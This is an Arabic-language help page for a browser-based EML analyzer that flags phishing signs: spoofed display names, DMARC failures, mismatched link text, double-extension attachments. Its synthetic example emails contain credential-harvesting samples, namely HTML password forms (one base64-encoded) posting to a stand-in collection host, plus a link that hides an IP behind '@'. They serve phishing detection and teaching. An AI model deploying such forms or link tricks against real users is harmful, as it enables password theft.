البريد الإلكتروني

محلّل ملفات EML

تعمل محليًاجديدة

الأداة نفسها باللغة الإنجليزية؛ وهذه الصفحة تشرحها بلغتك.

استخدم محلّل ملفات EML

ما الذي يفعله

اسحب ملف .eml أو الصق مصدر رسالة لفحص ترويسات المرسل وسلسلة Received والروابط والمرفقات. يجري كل شيء داخل متصفحك.

يعمل التطبيق بالكامل داخل متصفحك: ولا يتم تحميل أي شيء تدخله.

كيفية استخدام محلّل ملفات EML

  1. احصل على الرسالة الخام. احفظ الرسالة بصيغة .eml أو انسخ مصدرها: Show original في Gmail، وView message source في Outlook، وView source في Thunderbird أو Apple Mail. لا تُقرأ ملفات Outlook بصيغة .msg.
  2. حمّلها. اسحب ملف .eml إلى المربع أو اختره (حتى 50 ميغابايت)، أو الصق المصدر في حقل النص (حتى 5 ميغابايت) واضغط Analyze (تحليل).
  3. اقرأ Summary. تُرتَّب النتائج إلى علامات خطر وتحذيرات وملاحظات وفحوص ناجحة. ويذكر كل سطر الترويسة أو الرابط أو المرفق الذي جاء منه.
  4. افحص التفاصيل. تحت الملخص تأتي ترويسات المرسل، والنطاقات المقارنة بنطاق From، ونتائج المصادقة، وسلسلة Received، وكل رابط وكل مرفق.
  5. خذ المؤشرات. حدّد أنواع المؤشرات التي تحتاجها، ثم انسخها خامًا أو محيَّدة، أو نزّلها كملف .txt، أو استخدم Send to.

مثال

رسالة تصيد مصطنعة

الإدخال
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
النتيجة (تم تسجيلها في 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

اسم عرض ينتحل support@example.com، وReply-To وDKIM على نطاقات أخرى، وDMARC fail، ورابط يُظهر نصه www.example.com لكنه يذهب إلى login.example.net، ومرفق invoice.pdf.html يحتوي على نموذج لكلمة المرور.

ما الذي يتحقق منه

إشارةماذا يعني ذلك
اسم عرض يحتوي على عنوان بريد إلكترونيخطر عندما يُظهر الاسم عنوانًا ويكون المرسل الحقيقي عنوانًا آخر. كثيرًا ما تعرض تطبيقات البريد الاسم فقط.
Reply-To على نطاق آخرتحذير: سيذهب ردّك إلى جهة غير الجهة المرسلة.
Authentication-ResultsDMARC fail وSPF fail علامتا خطر؛ وSPF softfail وDKIM fail تحذيران. ولا يُعتدّ إلا بالنتيجة التي أضافها مزودك أنت.
نطاقا Return-Path وDKIM d=يُشار إليهما عندما يختلفان عن نطاق From. وهذا طبيعي في خدمات البريد الجماعي، لكن DMARC يحتاج إلى توافق أحدهما.
سلسلة Receivedتُسرد القفزات من الأقدم إلى الأحدث مع أوقات التأخير. ويُشار إلى الطابع الزمني الأسبق من القفزة السابقة، والتأخير الذي يتجاوز ساعة، وDNS العكسي الموسوم «may be forged».
نص الرابط ووجهتهخطر عندما يذكر النص الظاهر نطاقًا ويذهب الرابط إلى آخر، أو عندما يخفي النص الذي قبل @ المضيف الحقيقي. ويُعلَّم أيضًا عناوين IP المجردة وpunycode وخدمات اختصار الروابط والروابط المغلَّفة.
المرفقاتيُشار إلى الامتدادات المزدوجة، والملفات التي تشغّل شيفرة أو تُفتح في المتصفح، والمحتوى الذي لا يطابق الامتداد، وحيل تجاوز الاتجاه من اليمين إلى اليسار (right-to-left override). ويحصل كل ملف على SHA-256 وSHA-1 وMD5.
النماذج والسكربتات في HTMLالنموذج الذي يحتوي على حقل كلمة مرور في نص الرسالة أو في مرفق علامة خطر. وشيفرة السكربت داخل مرفق تحذير.

المزيد من الأمثلة

رابط يخفي عنوان IP

الإدخال
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
النتيجة

علامة خطر واحدة، «1 link: text before "@" is ignored: the real host is 203.0.113.7»، وتحذير واحد، «1 link: link goes to a bare IP address». ويُظهر جدول Links العنوان محيَّدًا بجوار نصه، Upgrade storage.

صفحة HTML تنتحل صفة ملف PDF

الإدخال
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
النتيجة

علامتا خطر: المرفق invoice.pdf «contains a form with a password field»، و«content is HTML document, not .pdf». تُظهر بطاقة المرفق Content: HTML document وثلاث بصمات؛ ويسرد جدول Links وجهة النموذج مع «form submits data to this address».

الأسئلة الشائعة

ماذا يفحص EML Analyzer؟

يفك ترميز الترويسات وكل جزء MIME، ويقارن نطاقات From وReply-To وReturn-Path وDKIM d= وMessage-ID، ويقرأ Authentication-Results. ويسرد أيضًا قفزات Received مع أوقات تأخيرها، وكل رابط مع نصه الظاهر، وبصمات SHA-256 وSHA-1 وMD5 لكل مرفق.

هل يمكنه إثبات أن رسالة ما تصيد، أو أنها آمنة؟

لا. فهو يعرض حقائق وعلامات تحذيرية، لا حكمًا: البريد الجماعي المشروع كثيرًا ما يكون له Return-Path أو نطاق DKIM مختلف، وتواقيع DKIM تُسرد لكن لا يُتحقق منها تشفيريًا. ملفات Outlook بصيغة .msg غير مدعومة؛ احفظ الرسالة بصيغة .eml أولًا.

هل تُرفع الرسالة إلى أي مكان؟

لا. يُقرأ الملف ويُحلَّل داخل متصفحك، ويُعرض HTML كنص ولا يُعرض كصفحة أبدًا، ولا يمر أي شيء عبر الشبكة. ويمرر زر Send to النتيجة إلى صفحة أداة أخرى عبر التخزين المؤقت للجلسة (session storage) في متصفحك.

بأي ترويسة Authentication-Results يثق؟

بالترويسة التي أضافها نظام بريدك أنت، ويتعرّف عليها من سلسلة Received ويعلّمها بـ «added by the recipient's server». أما الترويسات الأدنى في الرسالة فيمكن أن يكتبها المرسل، لذا تنصحك الصفحة بألا تثق إلا بنتيجة مزودك.

هل يمكنه فتح رسالة مرفقة برسالة أخرى؟

نعم. تُدرج الرسالة المرفقة مع بصماتها وزر «Analyze the attached message» الذي يفتحها في العرض نفسه. ويعيدك «Back to the outer message».

لماذا تغيب بعض عناوين IP عن المؤشرات؟

تُستبعد العناوين الخاصة والمحلية والقفزات داخل نظام بريد المستلم نفسه، لأنها لا تشير إلى خوادم المرسل. ولا تُضمَّن عناوين البريد الإلكتروني للمستلمين أبدًا كذلك.

شرح المصطلحات

أبحاث PhishDestroy